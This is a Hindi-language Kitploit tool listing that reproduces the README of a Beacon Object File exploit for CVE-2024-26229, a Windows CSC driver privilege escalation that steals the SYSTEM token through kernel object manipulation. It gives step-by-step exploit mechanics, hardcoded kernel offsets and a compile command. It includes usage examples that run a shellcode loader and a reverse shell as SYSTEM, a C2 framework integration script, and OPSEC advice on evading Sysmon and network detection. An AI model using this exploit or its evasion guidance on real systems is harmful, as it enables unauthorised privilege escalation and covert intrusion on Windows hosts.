Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-26229-BOF — CVE-2024-26229 बीकन ऑब्जेक्ट फ़ाइल संस्करण | Kitploit
उपकरण/GitHubGitHub/0xgunrunner/cve-2024-26229-bof
विशेषाधिकार वृद्धिशोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंटबाइनरी शोषण
GitHub0xgunrunner/cve-2024-26229-bof

CVE-2024-26229-BOF

CVE-2024-26229 बीकन ऑब्जेक्ट फ़ाइल संस्करण

रिपॉजिटरी देखें
14 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-26229 BOF

Beacon Object File कार्यान्वयन CVE-2024-26229 का — Windows CSC ड्राइवर स्थानीय विशेषाधिकार वृद्धि DKOM टोकन चोरी के माध्यम से।

RalfHacker/CVE-2024-26229-exploit पर आधारित, BOF में परिवर्तित किया गया जिसमें डायनामिक फंक्शन रिजॉल्यूशन (DFR) है, जो उन C2 फ्रेमवर्क के साथ उपयोग के लिए है जो Cobalt Strike BOF API का समर्थन करते हैं।

यह कैसे काम करता है

  1. NtCreateFile के माध्यम से \Device\Mup\;Csc\.\. खोलता है ताकि CSC ड्राइवर का हैंडल प्राप्त हो सके
  2. IOCTL 0x001401a3 (CSC_DEV_FCB_XXX_CONTROL_FILE) भेजता है जिसमें एक निर्मित इनपुट बफर KTHREAD->PreviousMode - 0x18 की ओर इशारा करता है, PreviousMode को UserMode से KernelMode में दूषित करता है
  3. PreviousMode = KernelMode के साथ, NtWriteVirtualMemory मनमाने कर्नेल पतों पर लिख सकता है
  4. SYSTEM प्रक्रिया (PID 4) के EPROCESS->Token को वर्तमान प्रक्रिया टोकन पर कॉपी करता है (DKOM)
  5. PreviousMode को UserMode में पुनर्स्थापित करता है
  6. CreateProcessA के माध्यम से निर्दिष्ट निष्पादन योग्य को चलाता है — चाइल्ड प्रक्रिया SYSTEM टोकन प्राप्त करती है

बीकन प्रक्रिया स्वयं चरण 4 के बाद SYSTEM बन जाती है। चलाई गई प्रक्रिया वैकल्पिक है — यदि CreateProcessA विफल होता है, तो बीकन अभी भी उन्नत है।

लक्ष्य

  • OS: Windows 10 / Server 2019 (Build 19041+)
  • आवश्यकता: CSC ड्राइवर सक्षम (HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)
  • पैच किया गया: अप्रैल 2024 संचयी अद्यतन में

कर्नेल ऑफ़सेट (हार्डकोडेड)

ऑफ़सेटमानसंरचना
EPROCESS->Token0x4B8Windows 10 19041–19045 / Server 2019 17763
KTHREAD->PreviousMode0x232Windows 10 19041–19045 / Server 2019 17763

ये ऑफ़सेट संस्करण-विशिष्ट हैं। यदि किसी भिन्न बिल्ड को लक्षित कर रहे हैं, तो WinDbg से सत्यापित करें:

root@kitploit:~
dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode

संकलन

mingw-w64 और आपके C2 फ्रेमवर्क के अनुकूल एक beacon.h हेडर की आवश्यकता है।

root@kitploit:~
x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c

संकलित .o फ़ाइल को अपनी BOF निर्देशिका में रखें (जैसे, _bin/cve-2024-26229.x64.o)।

उपयोग

root@kitploit:~
cve-2024-26229 --path <exe_path> [--args "<exe_args>"]

उदाहरण

स्थानीय शेलकोड के साथ एक लोडर चलाएँ:

root@kitploit:~
cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"

एक रिवर्स शेल चलाएँ:

root@kitploit:~
cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"

बिना तर्कों के चलाएँ:

root@kitploit:~
cve-2024-26229 --path C:\Users\user\beacon.exe

अपेक्षित आउटपुट

root@kitploit:~
[+] System EPROCESS  = 0xffff9383f3a62040
[+] Current KTHREAD  = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin

AdaptixC2 / AXS एकीकरण

अपनी .axs एक्सटेंशन स्क्रिप्ट में BOF पंजीकृत करें:

root@kitploit:~
var cmd_cve26229 = ax.create_command(
    "cve-2024-26229",
    "CVE-2024-26229 CSC driver LPE -- DKOM token theft to SYSTEM",
    "cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Path to executable to run as SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Arguments for the executable", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
    let path = parsed_json["path"];
    let args = parsed_json["args"];

    if (!path) {
        ax.task_output(id, "Error: --path is required");
        return;
    }

    let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
    let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";

    ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Task: CVE-2024-26229 LPE");
});

तर्क पैकिंग cstr,cstr है — दो शून्य-समाप्त स्ट्रिंग्स BOF में दो BeaconDataExtract कॉल से मेल खाती हैं।

OPSEC नोट्स

  • कोई यूज़रलैंड कलाकृतियाँ नहीं — DKOM पूरी तरह से कर्नेल मेमोरी में दूषित PreviousMode के माध्यम से संचालित होता है। कोई फ़ाइल नहीं लिखी जाती, कोई सेवा नहीं बनाई जाती, कोई रजिस्ट्री संशोधन नहीं होता।
  • कोई नेटवर्क संकेतक नहीं — शोषण केवल स्थानीय है। नेटवर्क-आधारित पहचान से बचने के लिए, HTTP के बजाय डिस्क से शेलकोड पढ़ने वाले लोडर (--munition-local पैटर्न) के साथ जोड़ें।
  • प्रक्रिया निर्माण — CreateProcessA जिसमें CREATE_NO_WINDOW है। चलाई गई प्रक्रिया SYSTEM टोकन प्राप्त करती है। यदि आपका लोडर किसी अन्य प्रक्रिया (जैसे, svchost.exe) में इंजेक्ट करता है, तो डिस्क पर मौजूद लोडर को बाद में साफ किया जा सकता है।
  • Sysmon — \Device\Mup\;Csc\.\. पर NtCreateFile कॉल और IOCTL आमतौर पर डिफ़ॉल्ट Sysmon कॉन्फ़िगरेशन द्वारा लॉग नहीं किए जाते। CreateProcessA कॉल एक मानक प्रक्रिया निर्माण (इवेंट ID 1) उत्पन्न करेगा — सुनिश्चित करें कि आपका चलाया गया बाइनरी हस्ताक्षरित नहीं है।
  • PreviousMode पुनर्स्थापना — BOF टोकन कॉपी के बाद PreviousMode को UserMode में पुनर्स्थापित करता है। बीकन प्रक्रिया शोषण के बाद सामान्य रूप से कार्य करना जारी रखती है।

सीमाएँ

  • केवल x64 — हार्डकोडेड ऑफ़सेट और पॉइंटर अंकगणित 64-बिट मानते हैं
  • ऑफ़सेट बिल्ड-विशिष्ट हैं — हार्डकोडेड EPROCESS->Token (0x4B8) और KTHREAD->PreviousMode (0x232) मान Windows 10 19041–19045 और Server 2019 17763 के लिए मान्य हैं। अन्य बिल्ड में समायोजन की आवश्यकता हो सकती है।
  • CSC ड्राइवर सक्षम होना चाहिए — sc query csc या रजिस्ट्री HKLM\SYSTEM\CurrentControlSet\Services\CSC (Start = 1) जाँचें। ड्राइवर वर्कस्टेशन पर डिफ़ॉल्ट रूप से सक्षम है लेकिन सर्वर पर अक्षम हो सकता है।
  • प्रति प्रक्रिया एक बार उपयोग — DKOM बीकन के अपने EPROCESS टोकन को संशोधित करता है। उसी बीकन में BOF को दो बार चलाना अनावश्यक है (पहले से ही SYSTEM)।

क्रेडिट

  • RalfHacker — मूल स्टैंडअलोन शोषण
  • Natel — परीक्षण और समीक्षा

संदर्भ

  • CVE-2024-26229 — MITRE
  • Microsoft Security Advisory

कानूनी अस्वीकरण

यह उपकरण केवल अधिकृत पैठ परीक्षण और सुरक्षा अनुसंधान के लिए अभिप्रेत है।

इस उपकरण का उपयोग उन प्रणालियों के विरुद्ध करना जिनके आप स्वामी नहीं हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, वियतनामी कानून के तहत अवैध है, जिसमें निम्नलिखित शामिल हैं लेकिन इन्हीं तक सीमित नहीं है:

  • Luật An toàn thông tin mạng 2015 (नेटवर्क सूचना सुरक्षा कानून, सं. 86/2015/QH13) — सूचना प्रणालियों में अनधिकृत पहुँच को प्रतिबंधित करता है
  • Bộ luật Hình sự 2015, sửa đổi 2017 (दंड संहिता, अनुच्छेद 225–226) — कंप्यूटर नेटवर्क में अनधिकृत घुसपैठ और डेटा विनाश को अपराध घोषित करता है

यह उपकरण केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। लेखक दुरुपयोग के लिए कोई देयता नहीं मानता। आप पूरी तरह से अपने उपयोग को सभी लागू स्थानीय, राष्ट्रीय और अंतर्राष्ट्रीय कानूनों के अनुपालन में सुनिश्चित करने के लिए जिम्मेदार हैं।

इस उपकरण का उपयोग करके आप पुष्टि करते हैं कि आपने किसी भी परीक्षण गतिविधि से पहले सिस्टम स्वामी से उचित प्राधिकरण प्राप्त कर लिया है।

टूल डाउनलोड करें